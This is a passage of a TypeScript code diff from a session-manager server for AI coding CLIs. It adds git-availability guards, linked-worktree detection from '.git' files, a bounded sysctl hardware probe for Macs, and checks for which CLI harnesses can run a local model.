state: 'ok' | 'not-a-repo' | 'unsupported' | 'error';
reason?: 'remote' | 'docker';
reason?: 'remote' | 'docker' | 'adopted';
error?: string;
/** One entry per repository fetched, in the same order the panel lists them. */
repos: GitFetchEntry[];
+5 -2
View File
@@ -50,6 +50,7 @@ import { homedir } from 'node:os';
import { basename, join, relative, sep } from 'node:path';
import { promisify } from 'node:util';
import { gitNonInteractiveEnv, redactGitCredentials } from './git-clone.js';
import { gitMissingError, gitSpawnAllowed } from './utils/git-availability.js';
const execFileAsync = promisify(execFile);
@@ -95,7 +96,7 @@ export interface GitWorkspaceStatus {
* `unsupported`: a remote or Docker session (never inspected). `error`: git failed; see `error`.
*/
state: 'ok' | 'not-a-repo' | 'unsupported' | 'error';
reason?: 'remote' | 'docker';
reason?: 'remote' | 'docker' | 'adopted';
error?: string;
repoRoot?: string;
/** Null when HEAD is detached. */
@@ -265,6 +266,8 @@ export function parseCommitLog(text: string): GitCommitEntry[] {
export type GitRunner = (cwd: string, args: string[], opts?: { timeoutMs?: number }) => Promise<string>;
export const runGit: GitRunner = async (cwd, args, opts) => {
// Never Apple's placeholder git on a Mac without developer tools (utils/git-availability.ts).
if (!gitSpawnAllowed()) throw gitMissingError();
const { stdout } = await execFileAsync(
'git',
// --no-optional-locks: never touch the index just to look. core.fsmonitor=false: do not start or
@@ -482,7 +485,7 @@ export interface GitRepoEntry {
export interface GitWorkspaceOverview {
/** `ok` when at least one repository was found; the other states are as in `GitWorkspaceStatus`. */
state: 'ok' | 'not-a-repo' | 'unsupported' | 'error';
reason?: 'remote' | 'docker';
reason?: 'remote' | 'docker' | 'adopted';
error?: string;
repos: GitRepoEntry[];
/** More than `repoLimit` repositories were found; only the first are reported. */
+6
View File
@@ -62,6 +62,7 @@ import { homedir } from 'node:os';
import { join, resolve, sep } from 'node:path';
import { gitNonInteractiveEnv, isSafeGitRef, sanitizeGitOutput } from './git-clone.js';
import { isInsideAny, isUnrelatedAncestor } from './git-workspace-status.js';
import { gitMissingError, gitSpawnAllowed } from './utils/git-availability.js';
// ─── Limits ──────────────────────────────────────────────────────────────────
@@ -371,6 +372,11 @@ const READ_ONLY_GIT_OPTIONS = ['--no-optional-locks', '-c', 'core.fsmonitor=fals
*/
export const runWorktreeGit: WorktreeGitRunner = (cwd, args, opts) =>
new Promise<WorktreeGitResult>((resolveRun) => {
// Never Apple's placeholder git on a Mac without developer tools: answered as "git is not installed".
if (!gitSpawnAllowed()) {
resolveRun({ code: null, stdout: '', stderr: '', timedOut: false, spawnError: String(gitMissingError()) });
return;
}
let child: ReturnType<typeof spawn>;
try {
child = spawn('git', args, {
+2 -1
View File
@@ -1433,7 +1433,8 @@ export async function installAgentSkillInto(skillDir: string): Promise<AgentSkil
* the skill (`agentSkillDir()` non-null, any CLI: the preamble is bash + curl + jq, nothing
* claude-specific; a remote or in-container HOME is not this filesystem) and treat it as
* best-effort: the skill's §0 fallback block self-heals a missing or stale file. Codex
* caveat: codex 0.162 runs tool commands in a shared app-server daemon whose
* caveat: a local codex started without `--no-daemon` (older than 0.162, or its version
* probe failed) can run tool commands in a shared app-server daemon whose
* `CODEMAN_SESSION_ID` is the starting session's, so its loader looks for that session's
* file and its self id is wrong; the skill tells the agent how to notice.
*/
+100
View File
@@ -0,0 +1,100 @@
/**
* @fileoverview Which linked git worktree a session's pane is in.
*
* Claude Code's worktree feature moves the running `claude` process into
* `<repo>/.claude/worktrees/<name>` part way through a session. `Session.workingDir` is the
* session's identity and stays on the main checkout, so the Files panel kept listing a tree the
* agent had left (#765). `Session.paneCwd` does follow: tmux reads the process cwd, measured with
* Claude Code 2.1.318 going into a worktree on EnterWorktree and back on ExitWorktree. It also
* follows every `cd` in a shell session, so it cannot be the panel's root by itself. This module
* answers the narrower question: is the pane inside a linked worktree, and which one.
*
* A linked worktree is recognised by its `.git` FILE (`gitdir: <repo>/.git/worktrees/<id>`) rather
* than by running `git worktree list`: this runs from the pane watcher whenever a directory
* changes, and a file read starts no process, no repository config and no filter.
*
* Only a folder strictly below `workingDir` is ever an answer: the file routes already serve
* everything under it, so following a pane there widens nothing, and a planted `.git` file can
* only move where the listing STARTS inside that same folder. A worktree outside it
* (`git worktree add ../feature`) stays unfollowed, since listing it would need a second
* confinement root.
*
* That answer is lexical and only as fresh as the last time the pane moved: a symlink can take the
* folder's place afterwards without moving the pane. So nothing here is a confinement decision.
* `GET /api/sessions/:id/files` resolves the folder on every request and walks it only while it
* really lies inside `workingDir` (`canWalkLiveWorktree()` in file-routes.ts), and the routes keep
* judging every path against `workingDir`.
*
* Probes are bounded (#516). The folder can sit on a mount that stopped answering, and an
* `unknown` answer stops the walk rather than being read as "no `.git` here".
*
* @module live-worktree
*/
import { constants, promises as fs } from 'node:fs';
import { basename, dirname, join } from 'node:path';
import { probePathKind } from './utils/bounded-path-probe.js';
/** A linked worktree a session's pane is in. */
export interface LiveWorktree {
/** The worktree folder's name, for display. */
name: string;
/** Absolute path, spelled like the session's `workingDir`. */
path: string;
}
/** More than any real `.git` file. It is read only to recognise the first line. */
const MAX_DOT_GIT_FILE_BYTES = 4096;
/**
* Whether the text of a `.git` file names a linked worktree's git dir
* (`<common dir>/worktrees/<id>`), as opposed to a submodule's (`<common dir>/modules/<name>`).
* The path may be relative: `git worktree add --relative-paths` writes it that way.
*/
export function isLinkedWorktreeGitFile(text: string): boolean {
const gitDir = /^gitdir:[ \t]*(.+?)[ \t]*$/m.exec(text)?.[1];
if (!gitDir) return false;
const segments = gitDir.split('/').filter(Boolean);
return segments.length >= 2 && segments[segments.length - 2] === 'worktrees';
}
/** What `<dir>/.git` says: a linked worktree's root, a boundary the walk must stop at, or nothing. */
async function classifyDotGit(dir: string): Promise<'worktree' | 'stop' | 'none'> {
const dotGit = join(dir, '.git');
const kind = await probePathKind(dotGit);
if (kind === 'absent') return 'none';
// A `.git` directory is a repository of its own, and `unknown` is never read as absent.
if (kind !== 'file') return 'stop';
let handle: fs.FileHandle | undefined;
try {
// The probe follows symlinks and the file can change after it, so the open itself refuses:
// O_NOFOLLOW a symlink, and O_NONBLOCK a FIFO, which would otherwise wait for a writer and
// hold a threadpool worker for good. Whatever it did open is then judged on the handle.
handle = await fs.open(dotGit, constants.O_RDONLY | constants.O_NOFOLLOW | constants.O_NONBLOCK);
if (!(await handle.stat()).isFile()) return 'stop';
const { buffer, bytesRead } = await handle.read(Buffer.alloc(MAX_DOT_GIT_FILE_BYTES), 0, MAX_DOT_GIT_FILE_BYTES, 0);
return isLinkedWorktreeGitFile(buffer.toString('utf8', 0, bytesRead)) ? 'worktree' : 'stop';
} catch {
return 'stop';
} finally {
await handle?.close().catch(() => {});
}
}
/**
* The linked worktree strictly below `workingDir` that holds `cwd`, if any. Walks up from `cwd`
* and stops at `workingDir`, at a repository or submodule of its own, or at anything it cannot
* read. `workingDir` itself is never an answer: a session started in a worktree is already
* listing it. Never throws.
*/
export async function findLiveWorktree(workingDir: string, cwd: string | undefined): Promise<LiveWorktree | undefined> {
if (!cwd?.startsWith('/')) return undefined;
const root = workingDir.length > 1 ? workingDir.replace(/\/+$/, '') : workingDir;
const under = root === '/' ? '/' : `${root}/`;
for (let dir = cwd; dir !== root && dir.startsWith(under); dir = dirname(dir)) {
const found = await classifyDotGit(dir);
if (found === 'worktree') return { name: basename(dir), path: dir };
if (found === 'stop') return undefined;
}
return undefined;
}
+48
View File
@@ -0,0 +1,48 @@
/**
* @fileoverview The formatters of the local model recommendation, and its byte units.
*
* `formatGb()` is the ONE place a byte count becomes a size a person reads: decimal GB (the
* unit the Finder and the model registry use). `hardware.ts` and `recommend.ts` call it to fill
* the `...Gb` text fields of the payload (`memGb`, `freeDiskGb`, `needGb`, `downloadGb`,
* `budgetGb`, and the size slots of a `LocalModelMessage`). Nothing else may turn bytes into a
* size for display, the browser included: it prints the text it was sent.
*
* GiB and MiB exist only for the budget math (reserves, the wired limit, the prompt cache) and
* never reach a person, with one exception: `memClassGb()`, the memory size a Mac is sold as,
* is how the card names the installed memory ("48 GB memory", what About This Mac shows). It
* is a name of the machine, not a computed size: `formatGb()` of the same bytes reads 51.5,
* which no owner recognises. Every computed size (need, budget, download, free disk) is
* `formatGb()`.
*
* Pure: no IO, no state.
*/
/** One decimal gigabyte, the unit a person reads. */
export const GB = 1_000_000_000;
/** One binary gigabyte. Budget math only. */
export const GIB = 1024 ** 3;
/** One binary megabyte. Budget math only. */
export const MIB = 1024 ** 2;
/**
* A byte count as decimal GB text, WITHOUT the unit: one decimal below 100 ('6.6', '17.7',
* '25.5'), a whole number from 100 ('212'). The caller's sentence supplies ' GB'.
* Anything that is not a positive finite number reads '0.0'.
*/
export function formatGb(bytes: number): string {
if (!Number.isFinite(bytes) || bytes <= 0) return '0.0';
const tenths = Math.round((bytes / GB) * 10) / 10;
return tenths >= 100 ? String(Math.round(bytes / GB)) : tenths.toFixed(1);
}
/**
* The memory size a Mac is sold as: whole binary gigabytes (17179869184 bytes is 16). This is
* `HardwareFacts.memClassGb`: the key of the tier rules ("below 36 GB") and of `TestedOn.memGb`,
* and what the card and the `noneMemory` sentence call the installed memory. It names a class
* of Mac; 0 means the size is unknown and is never shown. Any other size for display is
* `formatGb()`.
*/
export function memClassGb(memBytes: number): number {
if (!Number.isFinite(memBytes) || memBytes <= 0) return 0;
return Math.round(memBytes / GIB);
}
+409
View File
@@ -0,0 +1,409 @@
/**
* @fileoverview The hardware probe of the local model recommendation: what this Mac is.
*
* - `parseSysctl()`: a pure parser of `key: value` lines. The command runs WITHOUT `-n`, so a
* key that is missing on a machine (`sysctl.proc_translated` on Intel) cannot shift the
* others, and a line it does not know is ignored.
* - `readHardware()`: ONE bounded async spawn of `SYSCTL_PATH` with `SYSCTL_KEYS`, the free disk
* of the data dir through `fs.promises.statfs`, fallbacks from `node:os` when the spawn
* fails, and a 60 s cache.
*
* Rules:
* - Never throws and never rejects: a failed probe is an answer (`source: 'os-fallback'`), and
* off macOS nothing is spawned and no disk is read (`source: 'not-probed'`).
* - Never `system_profiler` (tens of milliseconds and a parse of free text), never a second
* spawn, never a synchronous exec on the server's event loop.
* - A non-zero exit is tolerated once `hw.memsize` parsed (a missing key makes sysctl exit 1).
* Without `hw.memsize` nothing else of that output is trusted: the answer is the fallback.
* - Only a line that ends in a newline counts. A cut-off tail is not a value: half of
* `hw.memsize` would read as a smaller, valid number.
* - `iogpu.wired_limit_mb` of 0 means "not set": it is reported as 0 and only a value above 0
* is ever used as a limit.
* - The data dir can sit on a network mount that stopped answering, so the disk read is
* bounded too: the folder is probed with the bounded path probe first, the `statfs` is raced
* against a timeout, and a `statfs` that never came back is not started a second time.
* - `memGb`, `memClassGb` and `freeDiskGb` are filled here through src/local-model/format.ts,
* the one place a size is formatted.
*/
import { execFile } from 'node:child_process';
import { statfs } from 'node:fs/promises';
import os from 'node:os';
import { dirname } from 'node:path';
import type { HardwareFacts } from '../types.js';
import { getDataDir } from '../config/instance.js';
import { probePathKind, type PathProbeKind } from '../utils/bounded-path-probe.js';
import { formatGb, memClassGb } from './format.js';
/** Absolute path, so the server's PATH (minimal under a service manager) cannot change what runs. */
export const SYSCTL_PATH = '/usr/sbin/sysctl';
/** The keys of the one spawn, in the order they are passed. */
export const SYSCTL_KEYS = [
'hw.memsize',
'machdep.cpu.brand_string',
'hw.optional.arm64',
'sysctl.proc_translated',
'iogpu.wired_limit_mb',
'kern.osproductversion',
'hw.model',
] as const;
/** Upper bound of the spawn (it answers in about 2 ms on a real Mac). */
export const SYSCTL_TIMEOUT_MS = 2000;
/** How long one probe result is reused. */
export const HARDWARE_CACHE_TTL_MS = 60_000;
/** Upper bound of the wait for the free disk figure. */
export const FREE_DISK_TIMEOUT_MS = 2000;
/** Seven short lines are well under this. A larger output is not sysctl's. */
const SYSCTL_MAX_OUTPUT_BYTES = 64 * 1024;
/** Longest text value kept (a chip name, a model identifier, a version). */
const MAX_TEXT_VALUE_LENGTH = 100;
/** How many parent folders are tried when the data dir does not exist yet. */
const FREE_DISK_MAX_PARENT_STEPS = 6;
/** What `parseSysctl()` read. Every field is absent when its key was missing or its value did not parse. */
export interface SysctlFacts {
/** `hw.memsize`. */
memBytes?: number;
/** `machdep.cpu.brand_string`. */
chip?: string;
/** `hw.optional.arm64` is 1. */
arm64?: boolean;
/** `sysctl.proc_translated` is 1. */
translated?: boolean;
/** `iogpu.wired_limit_mb`, as reported (0 stays 0). */
wiredLimitMb?: number;
/** `kern.osproductversion`. */
macosVersion?: string;
/** The leading number of `macosVersion`. */
macosMajor?: number;
/** `hw.model`. */
model?: string;
}
/** The IO of `readHardware()`, injectable so a test spawns nothing and reads no real disk. Each member defaults to the real thing. */
export interface HardwareProbeDeps {
/** Default `process.platform`. */
platform?: string;
/** Default `os.arch()`. */
arch?: string;
/** Runs the one spawn. Resolves its stdout, also after a non-zero exit, or `undefined` when it could not run or timed out. Never rejects. */
runSysctl?: () => Promise<string | undefined>;
/** Free bytes on the data dir's filesystem, or `undefined` when unknown. Never rejects. */
freeDiskBytes?: () => Promise<number | undefined>;
/** Default `os.totalmem()`. */
totalMemBytes?: () => number;
/** Default `os.cpus()[0]?.model`. */
cpuModel?: () => string | undefined;
/** Default `Date.now`. The clock of the cache. */
now?: () => number;
}
/** A whole number without sign, as sysctl prints one. */
function parseCount(value: string): number | undefined {
if (!/^\d+$/.test(value)) return undefined;
const parsed = Number(value);
return Number.isSafeInteger(parsed) ? parsed : undefined;
}
/** sysctl prints a flag as 0 or 1. Anything else is not a flag. */
function parseFlag(value: string): boolean | undefined {
if (value === '1') return true;
if (value === '0') return false;
return undefined;
}
function parseText(value: string): string | undefined {
return value !== '' && value.length <= MAX_TEXT_VALUE_LENGTH ? value : undefined;
}
/**
* Parse the output of `sysctl <keys>` (no `-n`): one `key: value` line per key it knows.
* Pure. Unknown lines, blank lines and error lines are skipped, and so is a last line that does
* not end in a newline. The first line of a key wins.
*/
export function parseSysctl(text: string): SysctlFacts {
const facts: SysctlFacts = {};
const lines = text.split('\n');
// What follows the last newline is either empty or a cut-off line.
lines.pop();
for (const rawLine of lines) {
const line = rawLine.replace(/\r$/, '');
const colon = line.indexOf(':');
if (colon <= 0) continue;
const key = line.slice(0, colon).trim();
const value = line.slice(colon + 1).trim();
switch (key) {
case 'hw.memsize': {
const bytes = parseCount(value);
if (bytes !== undefined && bytes > 0) facts.memBytes ??= bytes;
break;
}
case 'machdep.cpu.brand_string':
facts.chip ??= parseText(value);
break;
case 'hw.optional.arm64':
facts.arm64 ??= parseFlag(value);
break;
case 'sysctl.proc_translated':
facts.translated ??= parseFlag(value);
break;
case 'iogpu.wired_limit_mb':
facts.wiredLimitMb ??= parseCount(value);
break;
case 'kern.osproductversion': {
const version = /^(\d+)(?:\.\d+)*$/.exec(value);
if (version && value.length <= MAX_TEXT_VALUE_LENGTH && facts.macosVersion === undefined) {
facts.macosVersion = value;
facts.macosMajor = Number(version[1]);
}
break;
}
case 'hw.model':
facts.model ??= parseText(value);
break;
default:
break;
}
}
return facts;
}
/**
* The one spawn: `command` with `SYSCTL_KEYS` as its arguments and nothing else (no `-n`).
* Resolves stdout when the program ran, also after a non-zero exit (a key this machine lacks
* makes sysctl exit 1 while the other keys are printed). Resolves `undefined` when it could not
* be started, was killed (the timeout) or printed too much. Never rejects.
*
* The two parameters exist for the test, which runs a script of its own in place of sysctl.
*/
export function spawnSysctl(
command: string = SYSCTL_PATH,
timeoutMs: number = SYSCTL_TIMEOUT_MS
): Promise<string | undefined> {
return new Promise((resolve) => {
try {
execFile(
command,
[...SYSCTL_KEYS],
{
timeout: timeoutMs,
maxBuffer: SYSCTL_MAX_OUTPUT_BYTES,
encoding: 'utf8',
windowsHide: true,
// sysctl needs nothing from the server's environment, which can hold a password.
env: { LC_ALL: 'C' },
},
(error, stdout) => {
if (!error) return resolve(stdout);
// A numeric code is an exit status: the program ran. A string code (ENOENT, EACCES,
// the buffer limit) or a signal means it did not run to its end.
const ranToEnd = typeof error.code === 'number' && !error.killed && !error.signal;
resolve(ranToEnd ? stdout : undefined);
}
);
} catch {
resolve(undefined);
}
});
}
/**
* Free bytes on the filesystem that holds `path` (`bavail * bsize`: what an unprivileged
* process can use), or `undefined` when the filesystem does not say. Not bounded by itself: see
* `dataDirFreeBytes()`.
*/
export async function freeDiskBytesOf(path: string): Promise<number | undefined> {
try {
const stat = await statfs(path);
const free = Number(stat.bavail) * Number(stat.bsize);
return Number.isFinite(free) && free >= 0 ? free : undefined;
} catch {
return undefined;
}
}
/** The one `statfs` that may be pending. While it is, no second one is started. */
let pendingStatfs: Promise<number | undefined> | undefined;
/** The IO of `dataDirFreeBytes()`. Each member defaults to the real thing; a test passes its own. */
export interface FreeDiskDeps {
/** Default `getDataDir()`. */
dataDir?: () => string;
/** Default the bounded path probe (`probePathKind`). */
probeKind?: (path: string) => Promise<PathProbeKind>;
/** Default `freeDiskBytesOf`. */
freeBytesOf?: (path: string) => Promise<number | undefined>;
/** Default `FREE_DISK_TIMEOUT_MS`. */
timeoutMs?: number;
}
/**
* Free bytes on the data dir's filesystem, bounded. The folder (or, when it does not exist yet,
* its nearest existing parent) is found with the bounded path probe, which never waits on a
* dead mount twice; the `statfs` itself is raced against a timeout. `undefined` when the
* filesystem does not answer in time, or is not known to be a folder.
*/
export async function dataDirFreeBytes(deps: FreeDiskDeps = {}): Promise<number | undefined> {
// Concurrent probes share one promise in `readHardware()`, so a `statfs` that is still pending
// here was started by an EARLIER probe and has outlived its timeout: a dead mount. It holds
// one threadpool worker, and that is the most this module may ever hold.
if (pendingStatfs) return undefined;
const probeKind = deps.probeKind ?? probePathKind;
let folder: string;
try {
folder = (deps.dataDir ?? getDataDir)();
let kind = await probeKind(folder);
for (let step = 0; kind === 'absent' && step < FREE_DISK_MAX_PARENT_STEPS; step++) {
const parent = dirname(folder);
if (parent === folder) break;
folder = parent;
kind = await probeKind(folder);
}
// 'unknown' is a mount that does not answer (or an unreadable path): do not touch it.
if (kind !== 'directory') return undefined;
} catch {
return undefined;
}
const started = (deps.freeBytesOf ?? freeDiskBytesOf)(folder).catch(() => undefined);
pendingStatfs = started;
const forget = (): void => {
if (pendingStatfs === started) pendingStatfs = undefined;
};
started.then(forget, forget);
let timer: ReturnType<typeof setTimeout> | undefined;
try {
return await Promise.race([
started,
new Promise<undefined>((resolve) => {
timer = setTimeout(() => resolve(undefined), deps.timeoutMs ?? FREE_DISK_TIMEOUT_MS);
timer.unref?.();
}),
]);
} finally {
if (timer) clearTimeout(timer);
}
}
function defaultCpuModel(): string | undefined {
return os.cpus()[0]?.model;
}
/** A dependency that must never break the probe: its value, or `undefined` when it threw or rejected. */
async function attempt<T>(read: () => T | Promise<T>): Promise<T | undefined> {
try {
return await read();
} catch {
return undefined;
}
}
/** Memory and the three fields derived from it. */
function memoryFields(memBytes: number | undefined): Pick<HardwareFacts, 'memBytes' | 'memGb' | 'memClassGb'> {
const bytes = memBytes !== undefined && Number.isFinite(memBytes) && memBytes > 0 ? memBytes : 0;
return { memBytes: bytes, memGb: formatGb(bytes), memClassGb: memClassGb(bytes) };
}
async function probeHardware(deps: HardwareProbeDeps): Promise<HardwareFacts> {
const platform = deps.platform ?? process.platform;
const arch = deps.arch ?? os.arch();
const totalMemBytes = deps.totalMemBytes ?? os.totalmem;
const cpuModel = deps.cpuModel ?? defaultCpuModel;
if (platform !== 'darwin') {
return { platform, arch, ...memoryFields(await attempt(totalMemBytes)), source: 'not-probed' };
}
const [stdout, freeDisk] = await Promise.all([
attempt(deps.runSysctl ?? (() => spawnSysctl())),
attempt(deps.freeDiskBytes ?? (() => dataDirFreeBytes())),
]);
const disk: Pick<HardwareFacts, 'freeDiskBytes' | 'freeDiskGb'> =
freeDisk !== undefined && Number.isFinite(freeDisk) && freeDisk >= 0
? { freeDiskBytes: freeDisk, freeDiskGb: formatGb(freeDisk) }
: {};
const facts = typeof stdout === 'string' ? parseSysctl(stdout) : {};
if (facts.memBytes === undefined) {
const chip = await attempt(cpuModel);
return {
platform,
arch,
...memoryFields(await attempt(totalMemBytes)),
...(chip ? { chip } : {}),
...disk,
source: 'os-fallback',
};
}
const chip = facts.chip ?? (await attempt(cpuModel));
return {
platform,
arch,
...(facts.arm64 !== undefined ? { arm64: facts.arm64 } : {}),
...(facts.translated !== undefined ? { translated: facts.translated } : {}),
...memoryFields(facts.memBytes),
...(chip ? { chip } : {}),
...(facts.model !== undefined ? { model: facts.model } : {}),
...(facts.macosVersion !== undefined ? { macosVersion: facts.macosVersion } : {}),
...(facts.macosMajor !== undefined ? { macosMajor: facts.macosMajor } : {}),
...(facts.wiredLimitMb !== undefined ? { wiredLimitMb: facts.wiredLimitMb } : {}),
...disk,
source: 'sysctl',
};
}
let cached: { at: number; facts: HardwareFacts } | undefined;
let inFlight: Promise<HardwareFacts> | undefined;
/**
* What this machine is. Cached for `HARDWARE_CACHE_TTL_MS`; concurrent callers share one probe.
* Never rejects.
*
* The cache is one per process and does not look at `deps`: within the 60 s a second call
* returns the first call's answer whatever it injects. A test resets it first.
*/
export async function readHardware(deps: HardwareProbeDeps = {}): Promise<HardwareFacts> {
const now = deps.now ?? Date.now;
if (cached) {
const age = now() - cached.at;
if (age >= 0 && age < HARDWARE_CACHE_TTL_MS) return cached.facts;
}
if (inFlight) return inFlight;
const probe = probeHardware(deps)
.catch(
// Unreachable by design (every read above is guarded), and still an answer if it is reached.
(): HardwareFacts => ({
platform: deps.platform ?? process.platform,
arch: deps.arch ?? os.arch(),
...memoryFields(undefined),
source: (deps.platform ?? process.platform) === 'darwin' ? 'os-fallback' : 'not-probed',
})
)
.then((facts) => {
cached = { at: now(), facts };
return facts;
})
.finally(() => {
if (inFlight === probe) inFlight = undefined;
});
inFlight = probe;
return probe;
}
/** Drop the cached probe result and the memory of a pending disk read (tests, and nothing else). */
export function resetHardwareCache(): void {
cached = undefined;
inFlight = undefined;
pendingStatfs = undefined;
}
+165
View File
@@ -0,0 +1,165 @@
/**
* @fileoverview What the server knows about each catalogue harness on this machine, for the
* local model recommendation. Server side: this is the one module of src/local-model/ that
* reads the CLI registry, so `recommend()` can stay pure and name no CLI.
*
* `buildHarnessFacts()` walks the catalogue's `harnesses` rows and, for every row:
* - resolves its `cli` in the CLI registry AT CALL TIME (never in a module-level constant),
* and leaves the row out when the CLI is unknown, disabled, or has no custom model
* mechanism (`capabilities.customModelInjection.kind` is `unsupported`);
* - reports `label` from the registry entry and `installed` from the same probe the page
* render and `GET /api/clis` use (`utils/cli-installed-probes.ts`), asked once per build;
* - reports `installable` only for a STOCK CLI that is not installed and whose install
* command for this platform needs no administrator rights (`installCommandNeedsAdmin()`).
* Stock only, because the install runner never executes a custom entry's command;
* - supplies `acceptsModelId` (`cliAcceptsCustomModelId()`), the test a custom model launch
* applies to the model id before anything is written.
*
* Rules:
* - No CLI id is compared with a literal here or anywhere: the id comes from the catalogue
* row and everything else from the registry entry it resolves to.
* - Read-only: nothing is installed, written or spawned beyond the existing availability
* probe. An install command is only read as text, never run.
* - Never throws: a probe that fails reads as "not installed" (with a warning in the log),
* and the registry's install data still answers `installable`.
*
* `cliAcceptsCustomModelId()` composes the two pure pieces the launch path itself calls
* (`buildCustomModelInjection()` and `matchesPattern()` on the entry's `model` launch param).
* The launch path keeps that composition inline at two sites in
* src/web/routes/session-routes.ts (the quick-start `customModel` branch and
* `POST /api/sessions/:id/custom-model`). A change to the rule there must be made here too,
* until the three share one helper.
*/
import type { CliEntry } from '../config/cli-registry/types.js';
import { matchesPattern } from '../config/cli-registry/patterns.js';
import { getCli, resolveInstallCommandForPlatform } from '../config/cli-registry/registry.js';
import { buildCustomModelInjection, type CustomModelEndpoint } from '../custom-model-injection.js';
import { isCliEntryInstalled, probeStockCliAvailability } from '../utils/cli-installed-probes.js';
import { getErrorMessage, type HarnessFact, type LocalModelCatalog } from '../types.js';
/** What `buildHarnessFacts()` reads. Each member defaults to the real module; a test overrides what it needs. */
export interface HarnessFactsDeps {
/** One CLI of the registry, looked up when the facts are built. */
getCli: (id: string) => CliEntry | undefined;
/**
* The availability probe, asked ONCE per build: it answers with a test for single entries.
* Under vitest the real probe is inert (it finds no CLI), so a test that cares about
* `installed` passes its own.
*/
probeInstalled: () => Promise<(entry: CliEntry) => boolean>;
/** The install command the registry holds for this platform. Read as text, never run. */
installCommandFor: (entry: CliEntry) => string | undefined;
}
export const defaultHarnessFactsDeps: HarnessFactsDeps = {
getCli,
probeInstalled: async () => {
const stockAvailability = await probeStockCliAvailability();
return (entry) => isCliEntryInstalled(entry, stockAvailability);
},
installCommandFor: resolveInstallCommandForPlatform,
};
/**
* A command segment that starts with `sudo` or `brew`: at the start of the text, or after a
* pipe, `&&`, `||`, `;`, a line break or an opening parenthesis.
*/
const ADMIN_COMMAND = /(?:^|[;&|(\n])\s*(?:sudo|brew)(?=\s|$)/;
/**
* Whether an install command needs administrator rights, read off its text.
* - `sudo ...` asks for an administrator password.
* - `brew ...` needs Homebrew, and installing Homebrew needs an administrator (the same rule
* the installer's no-admin route applies to the CLI menu).
* `curl ... | bash` installers write into the home directory, and the install runner points an
* `npm install -g` at a prefix the server user can write, so neither counts.
*/
export function installCommandNeedsAdmin(command: string): boolean {
return ADMIN_COMMAND.test(command);
}
/** Stands in for a configured endpoint: the launch id a recipe forces depends on the model id alone. */
const PROBE_ENDPOINT: CustomModelEndpoint = {
id: 'local-model-probe',
label: 'local model probe',
baseUrl: 'http://127.0.0.1',
};
/**
* Whether a custom model launch of this CLI would accept `modelId`.
*
* A CLI whose config alone cannot select the model gets the id forced onto its `model` launch
* param (the recipe's `launchModel` template). The argv engine DROPS a token that fails the
* param's pattern, which would start the CLI on its own default provider, so the launch path
* refuses such an id up front. This is that test: false when the forced value does not match
* the pattern, and false for a CLI with no custom model mechanism at all.
*/
export function cliAcceptsCustomModelId(entry: Pick<CliEntry, 'capabilities' | 'launch'>, modelId: string): boolean {
try {
const injection = buildCustomModelInjection(entry, PROBE_ENDPOINT, modelId);
if (injection.kind === 'unsupported') return false;
const forcedLaunchModel = injection.launchModel;
const modelSpec = entry.launch.params.model;
return !(
forcedLaunchModel !== undefined &&
modelSpec?.type === 'token' &&
!matchesPattern(modelSpec.pattern, forcedLaunchModel)
);
} catch {
// A recipe that cannot be rendered cannot be launched either.
return false;
}
}
/** One fact per catalogue harness that resolves in the CLI registry, in catalogue order. */
export async function buildHarnessFacts(
catalog: LocalModelCatalog,
deps: Partial<HarnessFactsDeps> = {}
): Promise<HarnessFact[]> {
const resolved: HarnessFactsDeps = { ...defaultHarnessFactsDeps, ...deps };
let isInstalled: (entry: CliEntry) => boolean;
try {
isInstalled = await resolved.probeInstalled();
} catch (err) {
console.warn(
`[local-model] The CLI availability probe failed, reading every harness as not installed: ${getErrorMessage(err)}`
);
isInstalled = () => false;
}
const facts: HarnessFact[] = [];
const seen = new Set<string>();
for (const row of catalog.harnesses) {
// The catalogue lists a CLI once; a second row for it adds nothing a fact could carry.
if (seen.has(row.cli)) continue;
seen.add(row.cli);
const entry = resolved.getCli(row.cli);
if (!entry || !entry.enabled) continue;
if (entry.capabilities.customModelInjection.kind === 'unsupported') continue;
let installed = false;
try {
installed = isInstalled(entry);
} catch (err) {
console.warn(`[local-model] Probing ${entry.label} failed, reading it as not installed: ${getErrorMessage(err)}`);
}
let installable = false;
if (!installed && entry.stock) {
const command = resolved.installCommandFor(entry);
installable = command !== undefined && command.trim() !== '' && !installCommandNeedsAdmin(command);
}
facts.push({
cli: row.cli,
label: entry.label,
installed,
installable,
acceptsModelId: (modelId: string) => cliAcceptsCustomModelId(entry, modelId),
});
}
return facts;
}
+405
View File
@@ -0,0 +1,405 @@
/**
* @fileoverview The recommendation itself: which model, at which context, with which harness
* fits this Mac. Pure: no IO, no clock, no CLI registry, no data dir.
*
* The math, in the order it runs:
* - `deviceBudget()`: L is the wired limit when it is above 0, else 2/3 of memory below 36 GB
* and 3/4 from 36 GB. B = min(L - 1 GiB, memory - reserve), with a reserve of 6 GiB up to
* 18 GB, 8 GiB up to 48 GB and 12 GiB above.
* - `needBytes()`: F = weights + kvBytesPerToken * ctx + 1 GiB + the prompt cache tier of the
* catalogue for this Mac's memory.
* - Fit: F/B up to 0.85 is good, up to 0.98 is tight, above is out.
* - Speed: tokens per second = the model's `speedPer100Gbps` x the chip's bandwidth / 100.
* Below 10 is slow, decided on the unrounded product (9.96 is slow although it prints as
* 10). A chip that is in no chips row, or a model without a speed figure, is UNKNOWN: a
* bandwidth is never guessed.
* - Candidates: (model, context, harness) with `ctx >= harness.minContext`, the harness not
* gated, installed or installable, and accepting the model id.
* - Ranking, lexicographic: good before tight; ok before unknown before slow; the higher model
* rank; the higher harness rank; the larger context. The pick is the first candidate, the
* alternatives are the next four MODELS, each at its own best context and harness.
* - Disk: a model whose download would leave less than 10 GiB free is not offered. It is not
* dropped in silence: the best-ranked model left out that way is named in `noteDiskDropped`
* with what is missing.
*
* Verdict `none`, in this order (the first that applies is the reason):
* 1. `not-macos`: the server does not run on macOS.
* 2. `intel`: a Mac without Apple silicon.
* 3. `macos`: macOS is older than the catalogue's minimum (an unknown version does not block).
* 4. `memory`: no model fits the budget at any of its contexts, whatever the harness
* (`noneMemory`, or `noneMemoryUnknown` when the memory size could not be read).
* 5. `no-harness`: no harness row is usable (not gated, known to the caller, installed or
* installable).
* 6. `memory`: models fit, but none at a context a usable harness needs. Its own sentence
* (`noneMemoryContext`) with the budget and the smallest need at such a context, because
* this Mac can miss by a hair (the 16 GB Mac mini: 10.3 of 10.4 GB) and "too little
* memory" would hide that the answer rests on an estimate.
* 7. `no-harness`: models fit at such a context, but no usable harness accepts their id.
* 8. `disk`: for every remaining model, free disk minus the download is below 10 GiB (an
* unknown free disk does not block).
*
* Rules:
